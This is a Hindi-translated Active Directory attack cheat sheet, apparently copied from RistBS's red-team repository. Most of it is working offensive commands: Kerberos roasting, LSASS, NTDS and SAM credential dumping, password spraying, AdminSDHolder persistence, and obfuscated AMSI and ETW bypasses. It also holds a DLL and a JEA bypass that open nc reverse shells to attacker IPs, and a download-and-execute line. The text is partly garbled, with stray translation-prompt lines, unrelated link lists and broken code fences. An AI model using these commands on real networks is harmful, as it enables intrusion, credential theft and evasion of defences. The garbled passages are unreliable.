रेड टीम तकनीकें

विंडोज प्रोटोकॉल और शब्दावली

विंडोज प्रोटोकॉल और शब्दावली गाइड (जल्द ही)

विविध

सहायता

आप मुझे यहाँ सहायता कर सकते हैं 🐱 :

एक्टिव-डायरेक्ट्री-चीट-शीट

यह AD हमले चीटशीट, RistBS द्वारा बनाया गया है, Active-Directory-Exploitation-Cheat-Sheet रेपो से प्रेरित है।

सारांश

RistBS द्वारा AD शोषण चीट शीट

उपकरण

पावरशेल उपकरण :

[⭐] Nishang -> https://github.com/samratashok/nishang

nishang में विंडोज पेंटेस्टिंग के लिए पावरशेल वातावरण में कई उपयोगी स्क्रिप्ट हैं।

[⭐] PowerView -> https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

powerview powersploit का एक स्क्रिप्ट है जो संभावित पार्श्व गति के लिए AD आर्किटेक्चर की गणना की अनुमति देता है।

गणना उपकरण :

[⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound
[⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExe

AD शोषण टूलकिट :

[⭐] Impacket -> https://github.com/SecureAuthCorp/impacket
[⭐] kekeo -> https://github.com/gentilkiwi/kekeo

डंपिंग उपकरण :

[⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz
[⭐] rubeus -> https://github.com/GhostPack/Rubeus

श्रोता उपकरण :

[⭐] responder -> https://github.com/SpiderLabs/Responder

पावरशेल घटक

पावरशेल ट्रिक्स

PS-Session :```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100

METHOD 2

$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100

### PSWA का दुरुपयोग

किसी भी व्यक्ति को क्रेडेंशियल्स के साथ किसी भी मशीन और किसी भी कॉन्फ़िग से कनेक्ट करने की अनुमति देता है

**[ ! ] इस कार्रवाई के लिए क्रेडेंशियल्स आवश्यक हैं।**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *

गणना

SPN वाला उपयोगकर्ता खोजें

PowerView का उपयोग करके :```powershell Get-NetUser –SPN

> का उपयोग करके [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

ट्रस्ट्स की सूचीकरण

MapTrust :```powershell Invoke-MapDomainTrust

**वर्तमान डोमेन के लिए डोमेन ट्रस्ट :**

> [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) का उपयोग करते हुए :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain

AD Module का उपयोग करते हुए :```powershell Get-ADTrust Get-ADTrust –Identity $domain

### वन गणना

**वर्तमान वन के बारे में विवरण :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain

GPO गणना

GPO की सूची```powershell Get-NetGPO Get-NetGPO -ComputerName $computer Get-GPO -All Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html

### ACL और ACE गणना

**सभी ACEs की गणना करें**```powershell
 Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}

उपयोगकर्ताओं और अनुमतियों की गणना करें```powershell

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

*जाँच करें कि उपयोगकर्ता के पास पहले से SPN है या नहीं :*
> का उपयोग करके [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname

AD Module का उपयोग करते हुए :```powershell Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

### एलडीएपी एनुमरेशन```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"

सेवा खाते खोजें```powershell ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"

*प्रमाणित उपयोगकर्ता के रूप में ldapsearch के साथ गणना*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'

एन्युमरेशन ldapdomaindump (प्रमाणित) के साथ अच्छे आउटपुट के साथ``` ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep

*एन्यूमरेशन के साथ nmap scripts*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100

SMB गणना

crackmapexec के साथ अप्रमाणित रूप में गणना```bash crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''

*crackmapexec के साथ प्रमाणित एनुमरेशन*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess

kerbrute के साथ एनुमरेशन, Kerberos पूर्व-प्रमाणीकरण ब्रूटफोर्सिंग के विरुद्ध:```bash /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade

> डिफ़ॉल्ट रूप से, kerbrute कुछ हैश प्राप्त करने के लिए सबसे सुरक्षित मोड (18 = sha1) का उपयोग करता है। डाउनग्रेड विकल्प का उपयोग करके हम अप्रचलित एन्क्रिप्शन प्रकार संस्करण (23 = rc4hmac) प्राप्त कर सकते हैं। या इसके बजाय कुछ हैश प्राप्त करने के लिए getNPusers का उपयोग करें, यह अधिक सुरक्षित है!

*उपयोगकर्ताओं के विरुद्ध परीक्षण करने के लिए एक पासवर्ड या पासवर्ड की सूची प्रदान करें*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list

*कुछ उपयोगकर्ताओं की गणना करें```bash crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt

### डोमेन पर Password Spraying```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'

डंप डोमेन, समूह और उपयोगकर्ता Bloodhound-Python का उपयोग करके:```bash bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30

Bloodhound सेट अप करना:```bash
sudo neo4j console
sudo bloodhound

RID Cycling

वैश्विक संरचना :``` S-1-5-21-40646273370-24341400410-2375368561-1036

- `S-1-5-21`: **S SID (सुरक्षा पहचानकर्ता) को संदर्भित करता है**
- `40646273370-24341400410-2375368561`: **डोमेन या स्थानीय कंप्यूटर पहचानकर्ता**
- `1036`: **RID (सापेक्ष पहचानकर्ता)**

*उपयोगकर्ता SID संरचना :*
- `S-1-5-21-40646273370-24341400410-2375368561`: **डोमेन SID**
- `1036`: **उपयोगकर्ता RID**

> [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) का उपयोग कर रहे हैं :```bash
cme smb $target -u $username -p $password --rid-brute

का उपयोग करते हुए lookupsid :```bash lookupsid.py MEGACORP/$user:'$password'@$target 20000

lookupsid में "20000" मान यह इंगित करने के लिए है कि कितने RID का परीक्षण किया जाएगा


## विशेषाधिकार वृद्धि

### टोकन प्रतिरूपण

> टोकन प्रतिरूपण तकनीक किसी उपयोगकर्ता का टोकन चुराकर उसका प्रतिरूपण करने की अनुमति देती है, यह टोकन SSO प्रक्रियाओं, इंटरैक्टिव लॉगऑन, चल रही प्रक्रियाओं के कारण इस तकनीक का शोषण करने की अनुमति देता है...


> [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) का उपयोग करके:

*टोकन सूचीबद्ध करें*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate

एक उपयोगकर्ता के टोकन के साथ एक नई प्रक्रिया शुरू करें```powershell Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

*प्रक्रिया टोकन हेरफेर*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id

Incognito का उपयोग करते हुए :

incognito लोड करें और टोकन सूचीबद्ध करें :```bash meterpreter > use incognito meterpreter > list_tokens -g

*"NT AUTHORITY\SYSTEM" का प्रतिरूपण टोकन :```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Kerberoasting

गणना करें kerberoastable उपयोगकर्ता```powershell Get-DomainUser -SPN | select name,serviceprincipalname

> [impacket](https://github.com/SecureAuthCorp/impacket) का उपयोग करते हुए :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

crackmapexec का उपयोग करना```powershell crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc

*हैश को क्रैक करें :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force

ASREPRoasting

asreproastable उपयोगकर्ता की गणना करें```powershell Get-DomainUser -PreauthNotRequired | select name

<empty>```powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request

हैश क्रैक करना :

hashcat -m 18200 -a 0 hash wordlist.txt --force

DNSAdmin

इस समूह में उपयोगकर्ताओं की सूची बनाएं :```powershell

METHOD 1

Get-NetGroupMember -GroupName "DNSAdmins"

METHOD 2

Get-ADGroupMember -Identity DNSAdmins

*यह हमला एक दुर्भावनापूर्ण मनमाना DLL इंजेक्ट करने और dns.exe सेवा को पुनरारंभ करने का होता है, क्योंकि DC एक DNS सेवा के रूप में कार्य करता है, हम अपने विशेषाधिकारों को DA तक बढ़ा सकते हैं।*

> DLL फ़ाइल :```c
#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

आप msfvenom का उपयोग करके एक dll फ़ाइल भी बना सकते हैं: msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' -f dll > evil.dll यह net user administrator aked /domain को SYSTEM विशेषाधिकारों के साथ निष्पादित करेगा

रिमोट DLL पथ को Windows Registry में सेट करें```powershell dnscmd dc01 /config /serverlevelplugindll \10.10.14.33\share\evil.dll

`\\10.10.14.33\share\evil.dll` : SMB साझा।

**DNS सेवा पुनः प्रारंभ करें**```powershell
sc.exe stop dns
sc.exe start dns

पार्श्व संचलन

WMIExec

kerberos प्रमाणीकरण का उपयोग करता है```powershell impacket-wmiexec -k -no-pass [email protected]

## क्रेडेंशियल्स डंपिंग

### LSASS डंपिंग```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy

https://github.com/Hackndo/lsassy```powershell procdump --accepteula -ma lsass lsass.dmp

* [MasterParser - लिनक्स लॉग्स का विश्लेषण और पार्सिंग करने के लिए डिज़ाइन किया गया शक्तिशाली DFIR उपकरण](https://www.kitploit.com/2024/01/masterparser-powerful-dfir-tool.html)
* [BlHo सप्ताह के सर्वश्रेष्ठ लिंक 26](http://dwaves.de/2017/03/06/blho-best-links-of-the-week/)
* [vAPI - OWASP API सुरक्षा शीर्ष 10 को लक्षित करने वाला कमजोर API](https://www.kitploit.com/2023/11/vapi-vulnerable-api-targeting-owasp-api.html)
* [Aladdin - GetProcAddress के उपयोग से बचने वाली पेलोड जनरेशन तकनीक](https://www.kitploit.com/2022/06/aladdin-payload-generation-technique.html)
* [SqlChop - SQL इंजेक्शन डिटेक्शन इंजन](https://www.kitploit.com/2014/02/sqlchop-sql-injection-detection-engine.html)
* [RAI 0x00 - नेटवर्क इंजेक्टर स्विस आर्मी नाइफ](https://www.kitploit.com/2019/02/rai-0x00-network-injector-swiss-army.html)
* [GitKraken Glo Boards - Glo सॉफ्टवेयर डेवलपर्स के लिए मुद्दों, कार्यों और बग को ट्रैक करने का सबसे आसान तरीका है](https://www.kitploit.com/2019/01/gitkraken-glo-boards-glo-is-easiest-way.html)```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe

कृपया अनुवाद हेतु मार्कडाउन सामग्री प्रदान करें।```powershell psexec.py MEGACORP.LOCAL/[email protected] "C:\Windows\Temp\procdump.exe -accepteula -ma lsass C:\Windows\Temp\lsass.dmp"

```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# get lsass.dmp

mimikatz से क्रेडेंशियल्स पार्स करें```powershell sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords

आप इसे स्थानीय रूप से mimikatz का उपयोग करके : `sekurlsa::logonpasswords` कर सकते हैं।

### NTDS डंपिंग

**NTDS डंपिंग के लिए DRSUAPI का दुरुपयोग**```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi

VSS का दुरुपयोग कर NTDS डंपिंग

Crackmapexec का उपयोग करते हुए :```powershell crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss

*आप इसे मैन्युअल रूप से भी कर सकते हैं।*```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId

DPAPI का दुरुपयोग

dump DPAPI BK```bash dpapi.py backupkeys -t $domain/$user:$password@$target

> DPAPI MK को डिक्रिप्ट करें```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password

MK का उपयोग करके सुरक्षित फ़ाइल को डिक्रिप्ट करना```bash dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY

*DPAPI मास्टर की को JTR से क्रैक करें*```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule

LSA डंपिंग

आप mimikatz का उपयोग इस कमांड के साथ कर सकते हैं : lsadump::secrets

SAM डंपिंग

SYSTEM हाइव और SAM को किसी अन्य निर्देशिका में सहेजें```powershell reg save HKLM\SAM c:\path\to\SAM reg save HKLM\SYSTEM c:\path\to\SYSTEM

इनपुट:```powershell
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM

या बस उपयोग करें : lsadump::sam

[ 📝 ] नोट्स : आप SAM और LSA को crackmapexec या secretdump के साथ इन कमांड्स का उपयोग करके डंप कर सकते हैं :```bash secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'

```bash
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa

Dump Registry Remotely and Directly

[ ❓ ] रीजिस्ट्री क्या है? : रीजिस्ट्री को कई सेक्शनों में विभाजित किया जाता है जिन्हें हाइव्स कहा जाता है। एक रीजिस्ट्री हाइव विंडोज सिस्टम द्वारा पूर्वनिर्धारित एक शीर्ष-स्तरीय रीजिस्ट्री कुंजी है जो विशिष्ट उद्देश्यों के लिए रीजिस्ट्री कुंजियाँ संग्रहीत करती है। प्रत्येक रीजिस्ट्री हाइव के विशिष्ट उद्देश्य होते हैं, 6 रीजिस्ट्री हाइव्स हैं: HKCU, HKLM, HKCR, HKU, HKCC और HKPD; पेंटेस्टिंग में सबसे दिलचस्प रीजिस्ट्री हाइव्स HKU और HKLM हैं।

HKEY_LOCAL_MACHINE जिसे HKLM कहा जाता है, इसमें तीन कुंजियाँ SAM, SYSTEM और SECURITY शामिल हैं।

HKLM से दूरस्थ रूप से SYSTEM और SECURITY डंप करें :```bash secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes

> हैश तर्क के साथ दूरस्थ रूप से HKU रजिस्ट्री डंप करें :```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software

HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

GMSA पासवर्ड पढ़ें```powershell

$user = 'USER' $gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword' $blob = $gmsa.'msDS-ManagedPassword' $mp = ConvertFrom-ADManagedPasswordBlob $blob $cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword

*gMSA डंपिंग:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## हैश क्रैकिंग

> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> NT :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
नोट : hashcat में कुछ हैश प्रकार **etype** पर निर्भर करते हैं

## Bruteforce AD पासवर्ड

### कस्टम उपयोगकर्ता नाम और पासवर्ड वर्डलिस्ट

डिफ़ॉल्ट पासवर्ड सूची (pwd_list) :
`
Autumn
Spring
Winter
Summer
`
bash & hashcat का उपयोग करके पासवर्ड बनाएं :```bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
डिफ़ॉल्ट उपयोगकर्ता नाम सूची (users.list) :```
john doe
paul smith
jacaques miller
```
username-anarchy का उपयोग करके कस्टम उपयोगकर्ता नाम बनाएं :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## पिवोटिंग

**WDFW के साथ कस्टम नियमों के माध्यम से पिवोट करें**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*localport से कनेक्शन की अनुमति दें*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### SMB पाइप्स

**स्थानीय/दूरस्थ पोर्ट को** **SMB पाइप्स** का उपयोग करके **अग्रेषित किया जा सकता है**। इसके लिए आप [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) या [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy) का उपयोग कर सकते हैं।
- `Invoke-Piper` : *स्थानीय या दूरस्थ पोर्ट को अग्रेषित करने के लिए उपयोग किया जाता है*
- `Invoke-SocksProxy` : *डायनामिक पोर्ट फ़ॉर्वर्डिंग के लिए उपयोग किया जाता है*

**केस 1** *पाइवट के लिए पाइप के माध्यम से स्थानीय पोर्ट फ़ॉर्वर्डिंग: `-L 33389:127.0.0.1:3389`*

> सर्वर साइड :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> क्लाइंट साइड :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**मामला 2** *पाइप के माध्यम से केवल व्यवस्थापक के लिए रिमोट पोर्ट फ़ॉरवर्डिंग (forPivot): `-R 33389:127.0.0.1:3389`*

> सर्वर पक्ष:```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> क्लाइंट साइड :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**केस 3** *Invoke-SocksProxy के साथ डायनामिक पोर्ट फ़ॉरवर्डिंग, forPivot को NamedPipe के रूप में: `-D 3333`*

> सर्वर पक्ष :```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> क्लाइंट पक्ष :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks

**SharpSocks का उपयोग अधिकतर C2 फ्रेमवर्क में किया जाता है और यह C2 इम्प्लांट्स के साथ काम करता है**

*सर्वर बनाएं:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### RDP Tunneling via DVC

*ड्राइव्स साझा करना:*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*ड्राइव्स को मैप करें:*```powershell
PS > net use x: \\TSCLIENT\X
```
SSFD.exe के साथ एक सर्वर बनाएँ```powershell
PS > ssfd.exe -p 8080
```
*SSF पोर्ट को DVC सर्वर के साथ पुनर्निर्देशित करें:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1

[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD एक SOCK प्रॉक्सी के रूप में*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## Persistence

### SIDHistory Injection

### AdminSDHolder and SDProp

> [ ❓ ] : डोमेन एडमिन (DA) विशेषाधिकार (AdminSDHolder ऑब्जेक्ट पर पूर्ण नियंत्रण/लिखने की अनुमतियाँ) के साथ, इसका उपयोग बैकडोर/पर्सिस्टेंस तंत्र के रूप में किया जा सकता है, जिसमें AdminSDHolder ऑब्जेक्ट में एक उपयोगकर्ता को पूर्ण अनुमतियाँ (या अन्य रुचिकर अनुमतियाँ) जोड़ा जाता है।
60 मिनट में (जब SDPROP चलता है), वह उपयोगकर्ता डोमेन एडमिन जैसे समूहों के AC में पूर्ण नियंत्रण जोड़ दिया जाएगा, बिना वास्तव में उसका सदस्य हुए।

> [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) का उपयोग करते हुए :```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) का उपयोग करते हुए :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*SDProp को मैन्युअली चलाएं*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## ACLs और ACEs का दुरुपयोग

### GenericAll

**उन सभी समूहों को सूचीबद्ध करें जिनसे उपयोगकर्ता संबंधित है और जिन पर स्पष्ट पहुंच अधिकार हैं**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
इनपुट:```powershell
net group Administrator aker /add /domain
```
## उन्नत सुरक्षा बाईपास

### AntiMalware Scan Interface```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/master/%22%7B1%7D%7B0%7D%22-F%27F%27%2C%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
Powershell6 से AMSI पैचिंग :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode
CLM का उपयोग करके **runspace** से बाइपास करें:```cs
static void Main(string[] args){
    Runspace run = RunspaceFactory.CreateRunspace();
    run.Open();

    PowerShell shell = PowerShell.Create();
    shell.Runspace = run;

    String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
    shell.AddScript(cmd);
    shell.Invoke();
    run.Close();
}
```
### बस पर्याप्त प्रशासन

> वर्तमान भाषा स्तर दिखाएं :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> ConstrainedLanguage में JEA को बायपास करें :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> बायपास EP का उपयोग करके एन्कोडिंग :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### क्रेडेंशियल डंपिंग के लिए RunAsPPL

[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) एक **अतिरिक्त LSA सुरक्षा** है जो **गैर-संरक्षित प्रक्रियाओं** द्वारा मेमोरी पढ़ने और कोड इंजेक्शन को रोकती है।

> mimikatz के साथ RunAsPPL को बायपास करें :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### ETW अक्षम करना```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/master/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
आप इस कमांड पर अस्पष्टीकरण तकनीक (obfuscation techniques) आज़मा सकते हैं। ETW के बारे में अधिक जानने के लिए मेरा पाठ्यक्रम [यहाँ](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md) देखें।

## MS Exchange

### OWA EWS and EAS Password Spraying

> [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) का उपयोग करते हुए:```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> उपयोग करते हुए [ruler](https://github.com/sensepost/ruler) :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### GAL और OAB निष्कर्षण

**GAL (वैश्विक पता पुस्तिका) निष्कर्षण**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> पावरशेल का उपयोग करके :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**OAB (ऑफ़लाइन पता पुस्तिका) निष्कर्षण**

